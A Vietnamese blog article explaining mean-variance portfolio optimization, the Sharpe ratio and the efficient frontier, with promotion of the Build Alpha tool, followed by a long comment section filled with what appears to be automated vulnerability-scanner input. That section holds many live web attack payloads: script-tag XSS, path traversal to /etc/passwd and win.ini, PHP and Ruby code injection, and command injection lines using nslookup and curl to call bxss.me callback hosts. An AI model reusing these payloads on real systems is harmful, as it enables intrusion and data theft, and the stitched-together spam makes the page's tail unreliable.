06/10/2025
2,007 lượt đọc
Tối ưu hóa trung bình và phương sai, hay còn gọi là Mean-Variance Optimization (MVO), là một trong những khái niệm cơ bản và quan trọng nhất trong lý thuyết danh mục đầu tư. Phương pháp này được phát triển bởi nhà kinh tế học Harry Markowitz vào những năm 1950 và đã trở thành nền tảng của việc xây dựng danh mục đầu tư hiện đại. Mục tiêu của MVO là tối ưu hóa sự phân bổ tài sản trong một danh mục đầu tư sao cho đạt được tỷ lệ rủi ro/lợi nhuận tốt nhất.
Cơ bản, phương pháp này kết hợp giữa lợi nhuận kỳ vọng và rủi ro (thường được đo bằng độ lệch chuẩn hoặc phương sai của lợi nhuận) để giúp các nhà đầu tư ra quyết định phân bổ tài sản hợp lý. Câu hỏi đặt ra là: làm thế nào để chúng ta có thể tối đa hóa lợi nhuận kỳ vọng trong khi vẫn kiểm soát được mức độ rủi ro của danh mục đầu tư?
Trong bài viết này, chúng ta sẽ đi sâu vào tối ưu hóa trung bình và phương sai, giải thích các bước thực hiện, cách thức hoạt động của phương pháp này, và làm thế nào bạn có thể áp dụng nó để xây dựng một danh mục đầu tư hiệu quả, tối ưu hóa rủi ro và lợi nhuận.
Tối ưu hóa trung bình và phương sai là một phương pháp giúp các nhà đầu tư xây dựng danh mục đầu tư sao cho họ đạt được mức lợi nhuận kỳ vọng cao nhất với mức độ rủi ro thấp nhất, hoặc ngược lại, đạt được mức lợi nhuận kỳ vọng cụ thể với mức độ rủi ro tối thiểu.
Phương pháp này dựa trên một số giả định cơ bản:
Trong thực tế, điều này có nghĩa là nhà đầu tư sẽ tìm kiếm điểm cân bằng giữa lợi nhuận và rủi ro, sao cho danh mục đầu tư đạt được hiệu quả cao nhất về mặt tỷ lệ rủi ro/lợi nhuận.
Để thực hiện tối ưu hóa trung bình – phương sai (Mean-Variance Optimization, MVO), nhà đầu tư cần hiểu rõ ba yếu tố nền tảng: lợi nhuận kỳ vọng, rủi ro (phương sai và độ lệch chuẩn), và mối tương quan giữa các tài sản. Đây chính là ba biến số chi phối cách danh mục vận hành trong thực tế.
1. Lợi nhuận kỳ vọng (Expected Return)
Lợi nhuận kỳ vọng là phần lợi nhuận trung bình mà một tài sản có thể mang lại trong tương lai. Nó thường được ước tính từ dữ liệu lịch sử, mô hình tài chính hoặc phân tích cơ bản.
Ví dụ, nếu cổ phiếu A có lợi nhuận trung bình 12%/năm trong 5 năm qua, còn cổ phiếu B chỉ 8%, thì A có lợi nhuận kỳ vọng cao hơn nhưng đồng thời có thể đi kèm rủi ro lớn hơn. Trong MVO, lợi nhuận kỳ vọng là cơ sở để cân nhắc “liệu mức lợi nhuận đó có đáng với rủi ro bỏ ra hay không”.
2. Phương sai và độ lệch chuẩn (Variance & Standard Deviation)
Phương sai và độ lệch chuẩn phản ánh độ biến động của lợi nhuận. Phương sai cao nghĩa là lợi nhuận dao động mạnh, rủi ro lớn.
Ví dụ: cổ phiếu A có độ lệch chuẩn 20%, cổ phiếu B chỉ 10%. Mặc dù A có thể mang lại lợi nhuận cao hơn, nhưng biến động lớn khiến danh mục có thể chịu lỗ sâu hơn trong giai đoạn xấu. Nhà đầu tư sẽ phải đánh đổi: muốn an toàn hơn hay muốn sinh lời nhiều hơn.
3. Mối tương quan giữa các tài sản (Correlation)
Đây là yếu tố giúp MVO phát huy sức mạnh thật sự. Khi các tài sản không di chuyển cùng chiều, danh mục trở nên ổn định hơn.
Ví dụ, cổ phiếu và trái phiếu thường có tương quan âm: khi cổ phiếu giảm, trái phiếu tăng nhẹ. Nếu nhà đầu tư kết hợp 60% cổ phiếu và 40% trái phiếu, tổng rủi ro danh mục có thể giảm đáng kể so với việc chỉ nắm cổ phiếu.
Để thực hiện tối ưu hóa trung bình và phương sai, có thể thực hiện theo các bước sau:
Trước tiên, bạn cần xác định các tài sản hoặc chiến lược giao dịch mà bạn muốn đưa vào danh mục đầu tư. Mỗi tài sản sẽ có các thông số quan trọng như lợi nhuận kỳ vọng, phương sai, và độ lệch chuẩn riêng.
Đối với mỗi tài sản trong danh mục, bạn sẽ tính toán lợi nhuận kỳ vọng (trung bình của các lợi nhuận trong quá khứ hoặc dự đoán) và rủi ro (được đo bằng độ lệch chuẩn hoặc phương sai). Bạn cũng cần tính toán mối tương quan giữa các tài sản để hiểu rõ cách chúng ảnh hưởng đến nhau trong danh mục.
Tại bước này, bạn sẽ phân bổ trọng số cho các tài sản trong danh mục sao cho tổng trọng số của các tài sản bằng 100%. Việc phân bổ trọng số này sẽ xác định tầm quan trọng của mỗi tài sản trong danh mục và ảnh hưởng đến mức độ rủi ro và lợi nhuận của danh mục.
Tỉ lệ Sharpe là một chỉ số đo lường mức độ sinh lời so với mức độ rủi ro của danh mục. Tỉ lệ Sharpe càng cao, danh mục càng hiệu quả vì có thể sinh lời nhiều hơn trong khi kiểm soát rủi ro tốt hơn. Tỉ lệ Sharpe được tính bằng công thức:
Tỉ lệ Sharpe = (Lợi nhuận kỳ vọng - Lãi suất phi rủi ro)/Độ lệch chuẩn của lợi chuẩn
Kết quả từ tối ưu hóa trung bình và phương sai có thể được biểu diễn dưới dạng một Đường biên hiệu quả (Efficient Frontier). Đoạn đường này thể hiện tất cả các kết hợp tối ưu giữa rủi ro và lợi nhuận, giúp bạn dễ dàng nhìn thấy mức độ tối ưu của danh mục đầu tư.
Các điểm trên Đường biên hiệu quả đại diện cho các chiến lược đầu tư có tỷ lệ rủi ro/lợi nhuận tối ưu. Điểm đầu tiên của Đường biên hiệu quả, gọi là minimum variance portfolio, là danh mục có phương sai thấp nhất.
Trong thực tế, tối ưu hóa trung bình – phương sai (Mean-Variance Optimization, MVO) chỉ thật sự có giá trị khi được áp dụng trên dữ liệu và chiến lược thực tế. Đây là điểm mà Build Alpha phát huy sức mạnh.
Thay vì chỉ dựa vào mô hình lý thuyết, Build Alpha cho phép nhà đầu tư đưa dữ liệu giao dịch thật vào hệ thống, từ đó tính toán lợi nhuận kỳ vọng, phương sai, độ lệch chuẩn và tương quan giữa các chiến lược. Điều này giúp bạn thấy được danh mục hiện tại có đang cân bằng giữa rủi ro và lợi nhuận hay không — chứ không chỉ dựa vào cảm tính.
Một ứng dụng quan trọng là tối ưu danh mục chiến lược. Giả sử bạn có 10 chiến lược giao dịch trên VN30 futures, mỗi chiến lược có lợi nhuận và độ rủi ro khác nhau. Build Alpha sẽ giúp tìm ra trọng số phân bổ tối ưu, sao cho Sharpe ratio của danh mục được tối đa hóa. Nói cách khác, hệ thống sẽ tự động tính ra cách kết hợp chiến lược để đạt cùng mức lợi nhuận nhưng rủi ro thấp hơn, hoặc giữ nguyên rủi ro nhưng lợi nhuận cao hơn.
Ngoài ra, Build Alpha cho phép bạn thử nghiệm kịch bản (scenario test), ví dụ:
Một tính năng đáng giá khác là hiển thị đường biên hiệu quả (Efficient Frontier). Bạn có thể trực quan thấy từng danh mục nằm ở đâu trên đồ thị rủi ro – lợi nhuận. Các danh mục nằm dưới đường này là chưa tối ưu, còn các danh mục nằm trên biên là những tổ hợp chiến lược hiệu quả nhất có thể đạt được.
Tóm lại, MVO trong Build Alpha không chỉ là bài toán học thuật mà là một công cụ ra quyết định định lượng thực tế. Nó giúp trader nhìn rõ hơn bản chất rủi ro của từng chiến lược, hiểu mối tương quan giữa chúng, và cuối cùng là ra quyết định phân bổ danh mục dựa trên dữ liệu chứ không phải cảm xúc.
Tối ưu hóa trung bình và phương sai là một công cụ mạnh mẽ giúp các nhà đầu tư xây dựng danh mục đầu tư với tỷ lệ rủi ro/lợi nhuận tốt nhất. Bằng cách áp dụng phương pháp này, nhà đầu tư có thể lựa chọn những chiến lược phù hợp để tối đa hóa lợi nhuận kỳ vọng trong khi kiểm soát mức độ rủi ro. Các công cụ như Build Alpha giúp đơn giản hóa quá trình tối ưu hóa, cho phép bạn dễ dàng kiểm tra và tối ưu hóa các chiến lược đầu tư mà không cần phải tính toán thủ công.
Việc sử dụng Mean-Variance Optimization giúp các nhà giao dịch và nhà đầu tư đưa ra những quyết định chính xác hơn trong việc xây dựng và quản lý danh mục đầu tư, từ đó tối ưu hóa hiệu quả và giảm thiểu rủi ro.
144,185 / 5
RDFYjolf
xfs.bxss.me
555
RDFYjolf
'"
555
RDFYjolf
<!--
555
'"
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
xfs.bxss.me
RDFYjolf
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
tes****@example.com
555
RDFYjolf
tes****@example.com
'"
xfs.bxss.me
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
<!--
RDFYjolf
tes****@example.com
RDFYjolf
tes****@example.com
12345'"\'\");|]*
<!--
tes****@example.com
555
RDFYjolf
tes****@example.com
555'"()&%<zzz><ScRiPt >aTPj(9570)</ScRiPt>
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
response.write(9012756*9356826)
RDFYjolf
tes****@example.com
'"()&%<zzz><ScRiPt >aTPj(9296)</ScRiPt>
RDFYjolf
12345'"\'\");|]*
555
RDFYjolf
tes****@example.com
'+response.write(9012756*9356826)+'
RDFYjolf
tes****@example.com
"+response.write(9012756*9356826)+"
RDFYjolf
tes****@example.com
UFkZIhbl
RDFYjolf
response.write(9925894*9824793)
555
RDFYjolf
tes****@example.com
5559123338
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
JxjgQyNF: pcPPBiHe
RDFYjolf
'+response.write(9925894*9824793)+'
555
RDFYjolf
EsTPsPUI
555
12345'"\'\");|]*
tes****@example.com
555
RDFYjolf
"+response.write(9925894*9824793)+"
555
RDFYjolf
rYBe357l: 77kzF1Uz
555
RDFYjolf
tes****@example.com'"()&%<zzz><ScRiPt >aTPj(9945)</ScRiPt>
555
response.write(9181860*9351400)
tes****@example.com
555
cu2FTE6i
tes****@example.com
555
'+response.write(9181860*9351400)+'
tes****@example.com
555
zszVy0ED: ON031LWK
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
'"()&%<zzz><ScRiPt >aTPj(9498)</ScRiPt>
555
RDFYjolf
tes****@example.com
555
"+response.write(9181860*9351400)+"
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com9041539
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555<esi:include src="http://bxss.me/rpb.png"/>
RDFYjolf
tes****@example.com
../../../../../../../../../../../../../../etc/passwd
RDFYjolf'"()&%<zzz><ScRiPt >aTPj(9656)</ScRiPt>
tes****@example.com
555
RDFYjolf
tes****@example.com<esi:include src="http://bxss.me/rpb.png"/>
555
RDFYjolf<esi:include src="http://bxss.me/rpb.png"/>
tes****@example.com
555
RDFYjolf
tes****@example.com
${9999806+10000479}
RDFYjolf
tes****@example.com
../../../../../../../../../../../../../../windows/win.ini
RDFYjolf
tes****@example.com
555
RDFYjolf
${10000193+10000093}
555
RDFYjolf
tes****@example.com
file:///etc/passwd
${10000273+9999321}
tes****@example.com
555
'"()&%<zzz><ScRiPt >aTPj(9268)</ScRiPt>
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
../555
RDFYjolf
../../../../../../../../../../../../../../etc/passwd
555
RDFYjolf9058185
tes****@example.com
555
RDFYjolf
../../../../../../../../../../../../../../windows/win.ini
555
RDFYjolf
file:///etc/passwd
555
RDFYjolf
tes****@example.com
'.gethostbyname(lc('hitmw'.'lrcrhyvy974c8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(82).chr(120).chr(78).'
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
../*******@example.com
555
RDFYjolf
tes****@example.com
".gethostbyname(lc("hitrt"."xawfsrln666d0.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(78).chr(119).chr(73)."
../../../../../../../../../../../../../../etc/passwd
tes****@example.com
555
RDFYjolf
tes****@example.com
gethostbyname(lc('hitxm'.'dvipzriwadbf1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(85).chr(121).chr(80)
RDFYjolf
tes****@example.com
echo foncac$()\ pvzngp\nz^xyu||a #' &echo foncac$()\ pvzngp\nz^xyu||a #|" &echo foncac$()\ pvzngp\nz^xyu||a #
RDFYjolf
tes****@example.com
555
../../../../../../../../../../../../../../windows/win.ini
tes****@example.com
555
RDFYjolf
'.gethostbyname(lc('hitcf'.'wtbgkbkb0bfa9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(81).chr(112).chr(70).'
555
RDFYjolf
tes****@example.com
&echo sowaoq$()\ gukdhl\nz^xyu||a #' &echo sowaoq$()\ gukdhl\nz^xyu||a #|" &echo sowaoq$()\ gukdhl\nz^xyu||a #
RDFYjolf
".gethostbyname(lc("hituo"."fabbdujh35f9e.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(83).chr(119).chr(78)."
555
file:///etc/passwd
tes****@example.com
555
RDFYjolf
tes****@example.com
555&echo yuwtqp$()\ zjdcvi\nz^xyu||a #' &echo yuwtqp$()\ zjdcvi\nz^xyu||a #|" &echo yuwtqp$()\ zjdcvi\nz^xyu||a #
RDFYjolf
gethostbyname(lc('hitby'.'pyfmiexe18a03.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(75).chr(113).chr(71)
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
|echo vxartu$()\ nyofax\nz^xyu||a #' |echo vxartu$()\ nyofax\nz^xyu||a #|" |echo vxartu$()\ nyofax\nz^xyu||a #
RDFYjolf
tes****@example.com
HttP://bxss.me/t/xss.html?%00
'.gethostbyname(lc('hitqd'.'qmegzecx62cd7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(75).chr(105).chr(71).'
tes****@example.com
555
../RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555|echo wztmgb$()\ cebdms\nz^xyu||a #' |echo wztmgb$()\ cebdms\nz^xyu||a #|" |echo wztmgb$()\ cebdms\nz^xyu||a #
".gethostbyname(lc("hitel"."xlbrcswxf4d1e.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(71).chr(107).chr(72)."
tes****@example.com
555
RDFYjolf
tes****@example.com
bxss.me/t/xss.html?%00
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
expr 9000277915 - 982696
gethostbyname(lc('hitif'.'vasllxwf430d4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(88).chr(116).chr(67)
tes****@example.com
555
RDFYjolf
tes****@example.com
http://bxss.me/t/rfi.php?%00
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
bxss.me/t/rfi.php?%00
RDFYjolf
tes****@example.com
(nslookup -q=cname hitadjrhbrdtb61ea4.bxss.me||curl hitadjrhbrdtb61ea4.bxss.me))
RDFYjolf
HttP://bxss.me/t/xss.html?%00
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
$(nslookup -q=cname hituncxckaqeo5e684.bxss.me||curl hituncxckaqeo5e684.bxss.me)
RDFYjolf
bxss.me/t/xss.html?%00
555
RDFYjolf
tes****@example.com
&nslookup -q=cname hitouwggnitzc296f3.bxss.me&'\"`0&nslookup -q=cname hitouwggnitzc296f3.bxss.me&`'
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
http://bxss.me/t/rfi.php?%00
555
RDFYjolf
tes****@example.com
&(nslookup -q=cname hitmpjbcvhoymfe000.bxss.me||curl hitmpjbcvhoymfe000.bxss.me)&'\"`0&(nslookup -q=cname hitmpjbcvhoymfe000.bxss.me||curl hitmpjbcvhoymfe000.bxss.me)&`'
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
RDFYjolf
tes****@example.com
|(nslookup -q=cname hitujpzkbubzb1bf2b.bxss.me||curl hitujpzkbubzb1bf2b.bxss.me)
RDFYjolf
bxss.me/t/rfi.php?%00
555
RDFYjolf
tes****@example.com
"+"A".concat(70-3).concat(22*4).concat(106).concat(84).concat(120).concat(73)+(require"socket" Socket.gethostbyname("hitts"+"hbgbbjqu7a0a8.bxss.me.")[3].to_s)+"
RDFYjolf
tes****@example.com
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
RDFYjolf
tes****@example.com
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
RDFYjolf
tes****@example.com
`(nslookup -q=cname hitcpjafrtevc1d4a9.bxss.me||curl hitcpjafrtevc1d4a9.bxss.me)`
HttP://bxss.me/t/xss.html?%00
tes****@example.com
555
RDFYjolf
tes****@example.com
'+'A'.concat(70-3).concat(22*4).concat(104).concat(68).concat(113).concat(90)+(require'socket' Socket.gethostbyname('hitfl'+'yahggrawba4f0.bxss.me.')[3].to_s)+'
RDFYjolf
tes****@example.com
';print(md5(31337));$a='
RDFYjolf
tes****@example.com
/etc/shells
bxss.me/t/xss.html?%00
tes****@example.com
555
RDFYjolf
tes****@example.com
;(nslookup -q=cname hitaojuctjsrnfdcab.bxss.me||curl hitaojuctjsrnfdcab.bxss.me)|(nslookup -q=cname hitaojuctjsrnfdcab.bxss.me||curl hitaojuctjsrnfdcab.bxss.me)&(nslookup -q=cname hitaojuctjsrnfdcab.bxss.me||curl hitaojuctjsrnfdcab.bxss.me)
RDFYjolf
tes****@example.com
redirtest.acx
RDFYjolf
tes****@example.com
'A'.concat(70-3).concat(22*4).concat(105).concat(81).concat(101).concat(79)+(require'socket' Socket.gethostbyname('hitkv'+'mpwiotind3a52.bxss.me.')[3].to_s)
RDFYjolf
tes****@example.com
../../../../../../../../../../../../../../etc/shells
RDFYjolf
tes****@example.com
";print(md5(31337));$a="
http://bxss.me/t/rfi.php?%00
tes****@example.com
555
RDFYjolf
tes****@example.com
|(nslookup${IFS}-q${IFS}cname${IFS}hitxmzmzgmwkga460e.bxss.me||curl${IFS}hitxmzmzgmwkga460e.bxss.me)
RDFYjolf
redirtest.acx
555
RDFYjolf
"+"A".concat(70-3).concat(22*4).concat(114).concat(67).concat(114).concat(87)+(require"socket" Socket.gethostbyname("hitfr"+"dxwrsibr45761.bxss.me.")[3].to_s)+"
555
RDFYjolf
tes****@example.com
${@print(md5(31337))}
RDFYjolf
tes****@example.com
c:/windows/win.ini
bxss.me/t/rfi.php?%00
tes****@example.com
555
RDFYjolf&n914454=v977797
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
&(nslookup${IFS}-q${IFS}cname${IFS}hitoddrytwozn8b49c.bxss.me||curl${IFS}hitoddrytwozn8b49c.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitoddrytwozn8b49c.bxss.me||curl${IFS}hitoddrytwozn8b49c.bxss.me)&`'
RDFYjolf
'+'A'.concat(70-3).concat(22*4).concat(99).concat(85).concat(111).concat(90)+(require'socket' Socket.gethostbyname('hitkm'+'gvibbfzlf5eba.bxss.me.')[3].to_s)+'
555
RDFYjolf
tes****@example.com
${@print(md5(31337))}\
RDFYjolf
tes****@example.com
bxss.me
redirtest.acx
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
review-store
RDFYjolf
echo ktikvc$()\ hjsdyn\nz^xyu||a #' &echo ktikvc$()\ hjsdyn\nz^xyu||a #|" &echo ktikvc$()\ hjsdyn\nz^xyu||a #
555
RDFYjolf
'A'.concat(70-3).concat(22*4).concat(104).concat(69).concat(101).concat(65)+(require'socket' Socket.gethostbyname('hitpg'+'owkfthor3367a.bxss.me.')[3].to_s)
555
RDFYjolf
tes****@example.com
'.print(md5(31337)).'
RDFYjolf
tes****@example.com
Http://bxss.me/t/fit.txt
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
review-store
RDFYjolf
&echo jdgcja$()\ njdgvg\nz^xyu||a #' &echo jdgcja$()\ njdgvg\nz^xyu||a #|" &echo jdgcja$()\ njdgvg\nz^xyu||a #
555
RDFYjolf
tes****@example.com
http://bxss.me/t/fit.txt?.jpg
"+"A".concat(70-3).concat(22*4).concat(113).concat(66).concat(111).concat(82)+(require"socket" Socket.gethostbyname("hitzy"+"tyarcolme4274.bxss.me.")[3].to_s)+"
tes****@example.com
555
RDFYjolf
tes****@example.com
<?php print(md5(31337));?>
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
review-store/.
'+'A'.concat(70-3).concat(22*4).concat(104).concat(80).concat(106).concat(83)+(require'socket' Socket.gethostbyname('hitbw'+'xsdjiemleef35.bxss.me.')[3].to_s)+'
tes****@example.com
555
RDFYjolf
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.com
555
RDFYjolf
tes****@example.com
'{${print(md5(31337))}}'
RDFYjolf
tes****@example.com&echo uzpkdb$()\ jdkmoj\nz^xyu||a #' &echo uzpkdb$()\ jdkmoj\nz^xyu||a #|" &echo uzpkdb$()\ jdkmoj\nz^xyu||a #
555
RDFYjolf
tes****@example.com
555
a29WR1ZCdzA=
tes****@example.com
555
RDFYjolf
review-store
555
'A'.concat(70-3).concat(22*4).concat(117).concat(82).concat(117).concat(77)+(require'socket' Socket.gethostbyname('hitfr'+'lkcumarjf6da7.bxss.me.')[3].to_s)
tes****@example.com
555
RDFYjolf
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
555
RDFYjolf
tes****@example.com
print(md5(31337));//
RDFYjolf
|echo xqszyp$()\ dmgujk\nz^xyu||a #' |echo xqszyp$()\ dmgujk\nz^xyu||a #|" |echo xqszyp$()\ dmgujk\nz^xyu||a #
555
RDFYjolf
review-store
555
RDFYjolf
tes****@example.com
555
RDFYjolf
/etc/shells
555
RDFYjolf
tes****@example.com
{php}print(md5(31337));{/php}
RDFYjolf
tes****@example.com|echo phoyjd$()\ ehbebc\nz^xyu||a #' |echo phoyjd$()\ ehbebc\nz^xyu||a #|" |echo phoyjd$()\ ehbebc\nz^xyu||a #
555
RDFYjolf
review-store/.
555
RDFYjolf
../../../../../../../../../../../../../../etc/shells
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
[php]print(md5(31337));[/php]
RDFYjolf
tes****@example.com
555
RDFYjolf
expr 9000856087 - 974141
555
RDFYjolf
c:/windows/win.ini
555
RDFYjolf
tes****@example.com
555&n981184=v949787
review-store
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
RDFYjolf
(nslookup -q=cname hitnncbcvkfgfe89b7.bxss.me||curl hitnncbcvkfgfe89b7.bxss.me))
555
RDFYjolf
bxss.me
555
review-store
tes****@example.com
555
RDFYjolf
tes****@example.com&n949066=v989471
555
RDFYjolf
$(nslookup -q=cname hitxjpehnpyrj7fa32.bxss.me||curl hitxjpehnpyrj7fa32.bxss.me)
555
RDFYjolf
';print(md5(31337));$a='
555
RDFYjolf
Http://bxss.me/t/fit.txt
555
review-store/.
tes****@example.com
555
RDFYjolf
";print(md5(31337));$a="
555
RDFYjolf
&nslookup -q=cname hitecyidwopka41d28.bxss.me&'\"`0&nslookup -q=cname hitecyidwopka41d28.bxss.me&`'
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
http://bxss.me/t/fit.txt?.com
555
RDFYjolf
${@print(md5(31337))}
555
RDFYjolf
&(nslookup -q=cname hitdgwsdjjxbi71fac.bxss.me||curl hitdgwsdjjxbi71fac.bxss.me)&'\"`0&(nslookup -q=cname hitdgwsdjjxbi71fac.bxss.me||curl hitdgwsdjjxbi71fac.bxss.me)&`'
555
RDFYjolf
tes****@example.com
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
tes****@example.com
555
RDFYjolf
|(nslookup -q=cname hitpqtdrbjhjt7c63e.bxss.me||curl hitpqtdrbjhjt7c63e.bxss.me)
555
RDFYjolf
${@print(md5(31337))}\
555
RDFYjolf
tes****@example.com
)
RDFYjolf
tes****@example.com
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
tes****@example.com
555
RDFYjolf
`(nslookup -q=cname hittckhozjwpi86d38.bxss.me||curl hittckhozjwpi86d38.bxss.me)`
555
RDFYjolf
tes****@example.com
!(()&&!|*|*|
RDFYjolf
'.print(md5(31337)).'
555
/etc/shells
tes****@example.com
555
RDFYjolf
tes****@example.com
^(#$!@#$)(()))******
RDFYjolf
;(nslookup -q=cname hitfypsnnrwrle6c12.bxss.me||curl hitfypsnnrwrle6c12.bxss.me)|(nslookup -q=cname hitfypsnnrwrle6c12.bxss.me||curl hitfypsnnrwrle6c12.bxss.me)&(nslookup -q=cname hitfypsnnrwrle6c12.bxss.me||curl hitfypsnnrwrle6c12.bxss.me)
555
RDFYjolf
<?php print(md5(31337));?>
555
../../../../../../../../../../../../../../etc/shells
tes****@example.com
555
RDFYjolf
)
555
RDFYjolf
'{${print(md5(31337))}}'
555
RDFYjolf
|(nslookup${IFS}-q${IFS}cname${IFS}hitoutrxybnyubbf56.bxss.me||curl${IFS}hitoutrxybnyubbf56.bxss.me)
555
c:/windows/win.ini
tes****@example.com
555
RDFYjolf
!(()&&!|*|*|
555
RDFYjolf
&(nslookup${IFS}-q${IFS}cname${IFS}hitjaootwkpihc0b56.bxss.me||curl${IFS}hitjaootwkpihc0b56.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjaootwkpihc0b56.bxss.me||curl${IFS}hitjaootwkpihc0b56.bxss.me)&`'
555
RDFYjolf
print(md5(31337));//
555
bxss.me
tes****@example.com
555
RDFYjolf
^(#**@#$)(()))******
555
echo yghbnk$()\ rgbggr\nz^xyu||a #' &echo yghbnk$()\ rgbggr\nz^xyu||a #|" &echo yghbnk$()\ rgbggr\nz^xyu||a #
tes****@example.com
555
RDFYjolf
{php}print(md5(31337));{/php}
555
RDFYjolf
tes****@example.com
555
)
tes****@example.com
555
Http://bxss.me/t/fit.txt
tes****@example.com
555
RDFYjolf
[php]print(md5(31337));[/php]
555
&echo xeizzh$()\ wihisu\nz^xyu||a #' &echo xeizzh$()\ wihisu\nz^xyu||a #|" &echo xeizzh$()\ wihisu\nz^xyu||a #
tes****@example.com
555
!(()&&!|*|*|
tes****@example.com
555
http://bxss.me/t/fit.txt?.jpg
tes****@example.com
555
RDFYjolf&echo eiabyt$()\ dvqjrz\nz^xyu||a #' &echo eiabyt$()\ dvqjrz\nz^xyu||a #|" &echo eiabyt$()\ dvqjrz\nz^xyu||a #
tes****@example.com
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
tes****@example.com
555
^(#$!@#$)(()))******
tes****@example.com
555
RDFYjolf
tes****@example.com
555
|echo xvcbao$()\ olcedd\nz^xyu||a #' |echo xvcbao$()\ olcedd\nz^xyu||a #|" |echo xvcbao$()\ olcedd\nz^xyu||a #
tes****@example.com
555
';print(md5(31337));$a='
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf|echo loosnc$()\ cdsxzr\nz^xyu||a #' |echo loosnc$()\ cdsxzr\nz^xyu||a #|" |echo loosnc$()\ cdsxzr\nz^xyu||a #
tes****@example.com
555
";print(md5(31337));$a="
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
expr 9000732389 - 920377
tes****@example.com
555
${@print(md5(31337))}
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
(nslookup -q=cname hithzbrsjizdc9af42.bxss.me||curl hithzbrsjizdc9af42.bxss.me))
tes****@example.com
555
${@print(md5(31337))}\
tes****@example.com
555
RDFYjolf
tes****@example.com
555
$(nslookup -q=cname hithpsmdlllat1b96e.bxss.me||curl hithpsmdlllat1b96e.bxss.me)
tes****@example.com
555
'.print(md5(31337)).'
tes****@example.com
555
&nslookup -q=cname hitgtgqpyivdzc806d.bxss.me&'\"`0&nslookup -q=cname hitgtgqpyivdzc806d.bxss.me&`'
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
RDFYjolf
tes****@example.com
555
&(nslookup -q=cname hitxukzoozckm72351.bxss.me||curl hitxukzoozckm72351.bxss.me)&'\"`0&(nslookup -q=cname hitxukzoozckm72351.bxss.me||curl hitxukzoozckm72351.bxss.me)&`'
tes****@example.com
555
<?php print(md5(31337));?>
tes****@example.com
555
RDFYjolf
tes****@example.com
555
'{${print(md5(31337))}}'
tes****@example.com
555
|(nslookup -q=cname hitwzolwydshy613e7.bxss.me||curl hitwzolwydshy613e7.bxss.me)
tes****@example.com
555
RDFYjolf
tes****@example.com
'"()
print(md5(31337));//
tes****@example.com
555
`(nslookup -q=cname hitjccazjbbucca538.bxss.me||curl hitjccazjbbucca538.bxss.me)`
tes****@example.com
555
RDFYjolf
tes****@example.com
